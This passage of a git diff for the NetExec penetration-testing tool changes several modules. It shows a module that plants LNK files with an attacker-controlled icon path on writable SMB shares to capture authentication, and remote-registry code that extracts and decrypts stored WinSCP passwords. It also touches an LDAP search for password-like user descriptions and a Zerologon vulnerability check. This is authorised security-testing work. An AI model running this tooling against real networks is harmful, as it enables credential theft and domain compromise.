+        SHARES        Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
         CLEANUP       Cleanup (choices: True or False)
         """
         self.cleanup = False
 
         if "CLEANUP" in module_options:
             self.cleanup = bool(module_options["CLEANUP"])
+            context.log.debug("Cleanup set to True")
 
         if "NAME" not in module_options:
             context.log.fail("NAME option is required!")
             exit(1)
+            
+        if "SHARES" in module_options:
+            self.shares = module_options["SHARES"].split(",")
+            context.log.debug(f"Shares to write to: {self.shares}")
 
         if not self.cleanup and "SERVER" not in module_options:
             context.log.fail("SERVER option is required!")
             exit(1)
-
+            
+        if "ICO_URI" in module_options:
+            self.ico_uri = module_options["ICO_URI"]
+            context.log.debug("Overriding")
+            
+            
         self.lnk_name = module_options["NAME"]
         self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
         self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
@@ -50,28 +63,33 @@ class NXCModule:
         if not self.cleanup:
             self.server = module_options["SERVER"]
             link = pylnk3.create(self.lnk_path)
-            link.icon = f"\\\\{self.server}\\icons\\icon.ico"
+            link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
             link.save()
 
     def on_login(self, context, connection):
         shares = connection.shares()
-        for share in shares:
-            if "WRITE" in share["access"] and share["name"] not in [
-                "C$",
-                "ADMIN$",
-                "NETLOGON",
-            ]:
-                context.log.success(f"Found writable share: {share['name']}")
-                if not self.cleanup:
-                    with open(self.lnk_path, "rb") as lnk:
+        if shares:
+            slinky_logger = context.log.init_log_file()
+            context.log.add_file_log(slinky_logger)
+            
+            for share in shares:
+                # TODO: these can be written to - add an option to override these
+                if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
+                    if self.shares is not None and share["name"] not in self.shares:
+                        context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
+                        continue
+                    
+                    context.log.success(f"Found writable share: {share['name']}")
+                    if not self.cleanup:
+                        with open(self.lnk_path, "rb") as lnk:
+                            try:
+                                connection.conn.putFile(share["name"], self.file_path, lnk.read)
+                                context.log.success(f"Created LNK file on the {share['name']} share")
+                            except Exception as e:
+                                context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
+                    else:
                         try:
-                            connection.conn.putFile(share["name"], self.file_path, lnk.read)
-                            context.log.success(f"Created LNK file on the {share['name']} share")
+                            connection.conn.deleteFile(share["name"], self.file_path)
+                            context.log.success(f"Deleted LNK file on the {share['name']} share")
                         except Exception as e:
-                            context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
-                else:
-                    try:
-                        connection.conn.deleteFile(share["name"], self.file_path)
-                        context.log.success(f"Deleted LNK file on the {share['name']} share")
-                    except Exception as e:
-                        context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+                            context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

nxc/modules/spooler.py

@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
     RPC_PROXY_CONN_A1_404_ERR,
     RPC_PROXY_RPC_OUT_DATA_404_ERR,
 )
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 KNOWN_PROTOCOLS = {
     135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -47,14 +48,14 @@ class NXCModule:
         context.log.debug(f"StringBinding {self.__stringbinding}")
         rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
         rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
-        rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
+        rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         if connection.kerberos:
             rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
 
         try:
-            entries = self.__fetch_list(rpctransport)
+            entries = self.__fetch_list(connection.kerberos, rpctransport)
         except Exception as e:
             error_text = f"Protocol failed: {e}"
             context.log.critical(error_text)
@@ -112,8 +113,10 @@ class NXCModule:
         else:
             context.log.debug("[Spooler] No endpoints found")
 
-    def __fetch_list(self, rpctransport):
+    def __fetch_list(self, doKerberos, rpctransport):
         dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
         dce.connect()
         resp = epm.hept_lookup(None, dce=dce)
         dce.disconnect()

nxc/modules/user-desc.py

@@ -37,7 +37,6 @@ class NXCModule:
         """
         self.log_file = None
         self.desc_count = 0
-        self.context = context
         self.account_names = set()
         self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
 
@@ -71,6 +70,7 @@ class NXCModule:
         On successful LDAP login we perform a search for all user objects that have a description.
         Users can specify additional LDAP filters that are applied to the query.
         """
+        self.context = context
         self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
         context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
 

nxc/modules/wcc.py

@@ -168,33 +168,33 @@ class HostChecker:
     def init_checks(self):
         # Declare the checks to do and how to do them
         self.checks = [
-            ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
-            ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
-            ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
+            ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
+            ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]),
+            ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
             ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
-            ConfigCheck("Hash storage format", "Checks if storing  hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
-            ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
-            ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
-            ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
-            ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
+            ConfigCheck("LM hash storage disabled", "Checks if storing  hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
+            ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
+            ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
+            ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
+            ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
             ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
-            ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
-            ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
+            ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
+            ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
             ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
-            ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
-            ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
-            ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
-            ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
-            ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
-            ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
-            ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
-            ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
-            ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
+            ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
+            ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
+            ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
+            ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
+            ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
+            ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
+            ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
+            ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
+            ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
             ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
             ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
             ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
-            ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
-            ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
+            ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
+            ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
         ]
 
         # Add check to conf_checks table if missing
@@ -588,16 +588,12 @@ class HostChecker:
         subkey_handle = ans["phkResult"]
 
         if valueName is None:
-            _, _, data = get_value(subkey_handle)
+            return get_value(subkey_handle)[2]
         else:
-            found = False
-            for _, name, _data in subkey_values(subkey_handle):
+            for _, name, data in subkey_values(subkey_handle):
                 if name.upper() == valueName.upper():
-                    found = True
-                    break
-            if not found:
-                return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
-        return data
+                    return data
+            return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
 
     # Methods for getting values from SAMR and SCM #
     ################################################

nxc/modules/winscp.py

@@ -51,25 +51,19 @@ class NXCModule:
             context.log.highlight(f"UserName: {session[2]}")
             context.log.highlight(f"Password: {session[3]}")
 
-    def user_object_to_name_mapper(self, context, connection, allUserObjects):
+    def user_object_to_name_mapper(self, context, connection, all_user_objects):
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
+            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
 
-            for userObject in allUserObjects:
-                ans = rrp.hBaseRegOpenKey(
-                    remote_ops._RemoteOperations__rrp,
-                    reg_handle,
-                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
-                )
-                key_handle = ans["phkResult"]
+            for user_object in all_user_objects:
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
 
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
-                self.userDict[userObject] = user_profile_path.split("\\")[-1]
+                self.userDict[user_object] = user_profile_path.split("\\")[-1]
         finally:
             remote_ops.finish()
 
@@ -121,22 +115,14 @@ class NXCModule:
         return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
 
     # ==================== Handle Registry ====================
-    def registry_session_extractor(self, context, connection, userObject, sessionName):
+    def registry_session_extractor(self, context, connection, user_object, sessionName):
         """Extract Session information from registry"""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
-            )
-            key_handle = ans["phkResult"]
-
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
             host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
             user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
             try:
@@ -162,18 +148,13 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all logged in and loaded Users on System
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-            key_handle = ans["phkResult"]
-
-            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-            users = data["lpcSubKeys"]
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
 
             # Get User Names
             user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -195,22 +176,13 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
-            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
-            )
-            key_handle = ans["phkResult"]
-
-            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-            users = data["lpcSubKeys"]
+            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
+            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
 
             # Get User Names
             user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -222,86 +194,65 @@ class NXCModule:
             remote_ops.finish()
         return user_objects
 
-    def load_missing_users(self, context, connection, unloadedUserObjects):
+    def load_missing_users(self, context, connection, unloaded_user_objects):
         """Extract Information for not logged in Users and then loads them into registry."""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            for userObject in unloadedUserObjects:
+            for user_object in unloaded_user_objects:
                 # Extract profile Path of NTUSER.DAT
-                ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-                reg_handle = ans["phKey"]
-
-                ans = rrp.hBaseRegOpenKey(
-                    remote_ops._RemoteOperations__rrp,
-                    reg_handle,
-                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
-                )
-                key_handle = ans["phkResult"]
-
+                reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
 
                 # Load Profile
-                ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-                reg_handle = ans["phKey"]
+                reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
 
-                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-                key_handle = ans["phkResult"]
-
-                context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
-                rrp.hBaseRegLoadKey(
-                    remote_ops._RemoteOperations__rrp,
-                    key_handle,
-                    userObject,
-                    user_profile_path + "\\" + "NTUSER.DAT",
-                )
+                context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
+                rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def unload_missing_users(self, context, connection, unloadedUserObjects):
-        """If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
+    def unload_missing_users(self, context, connection, unloaded_user_objects):
+        """If some user were not logged in at the beginning we unload them from registry."""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Unload Profile
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
 
-            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-            key_handle = ans["phkResult"]
-
-            for userObject in unloadedUserObjects:
-                context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
+            for user_object in unloaded_user_objects:
+                context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
                 try:
-                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
+                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
                 except Exception as e:
-                    context.log.fail(f"Error unloading user {userObject} in registry: {e}")
+                    context.log.fail(f"Error unloading user {user_object} in registry: {e}")
                     context.log.debug(traceback.format_exc())
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def check_masterpassword_set(self, connection, userObject):
+    def check_masterpassword_set(self, context, connection, user_object):
+        use_master_password = False
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
-            )
-            key_handle = ans["phkResult"]
-
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
             use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
+        except DCERPCException as e:
+            if str(e).find("ERROR_FILE_NOT_FOUND"):
+                context.log.debug("Security configuration registry not found, no master passwords set at all.")
+            else:
+                context.log.exception(e)
         finally:
             remote_ops.finish()
         return use_master_password
@@ -309,7 +260,7 @@ class NXCModule:
     def registry_discover(self, context, connection):
         context.log.display("Looking for WinSCP creds in Registry...")
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
@@ -321,39 +272,29 @@ class NXCModule:
             unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
             self.load_missing_users(context, connection, unloaded_user_objects)
 
-            # Retrieve how many sessions are stored in registry from each UserObject
+            # Retrieve how many sessions are stored in registry from each user_object
             ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
             reg_handle = ans["phKey"]
-            for userObject in all_user_objects:
+            for user_object in all_user_objects:
                 try:
-                    ans = rrp.hBaseRegOpenKey(
-                        remote_ops._RemoteOperations__rrp,
-                        reg_handle,
-                        userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
-                    )
-                    key_handle = ans["phkResult"]
-
-                    data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-                    sessions = data["lpcSubKeys"]
-                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
+                    key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
+                    sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
 
                     # Get Session Names
                     session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
                     rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
                     session_names.remove("Default%20Settings")
 
-                    if self.check_masterpassword_set(connection, userObject):
+                    if self.check_masterpassword_set(context, connection, user_object):
                         context.log.fail("MasterPassword set! Aborting extraction...")
                         continue
                     # Extract stored Session infos
                     for sessionName in session_names:
-                        self.print_creds(
-                            context,
-                            self.registry_session_extractor(context, connection, userObject, sessionName),
-                        )
+                        self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
                 except DCERPCException as e:
                     if str(e).find("ERROR_FILE_NOT_FOUND"):
-                        context.log.debug(f"No WinSCP config found in registry for user {userObject}")
+                        context.log.debug(f"No WinSCP config found in registry for user {user_object}")
                 except Exception as e:
                     context.log.fail(f"Unexpected error: {e}")
                     context.log.debug(traceback.format_exc())

nxc/modules/zerologon.py

@@ -26,7 +26,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         self.context = context
-        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
+        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
             self.context.log.highlight("VULNERABLE")
             self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
             try:
@@ -43,13 +43,15 @@ class NXCModule:
